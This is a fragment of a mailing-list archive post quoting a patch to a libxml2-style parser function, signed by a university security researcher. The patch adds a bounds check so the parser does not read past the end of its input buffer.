> -    if ((*ctxt->input->cur == '\n') && (ctxt->input->cur[-1] == '\r'))
> -        return(xmlDictLookup(ctxt->dict, ctxt->input->cur - (len + 1),
> len));
> -    return(xmlDictLookup(ctxt->dict, ctxt->input->cur - len, len));
> +
> +    if (BASE_PTR + startPosition + len > ctxt->input->end)
> +      return(NULL);
> +
> +    return(xmlDictLookup(ctxt->dict, BASE_PTR + startPosition, len));
>  }
>
>  /**
> Best regards,
> - Marcel
>
> ---
> Marcel Boehme
> Postdoctoral Research Fellow
> TSUNAMi Security Research Centre
> National University of Singapore


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic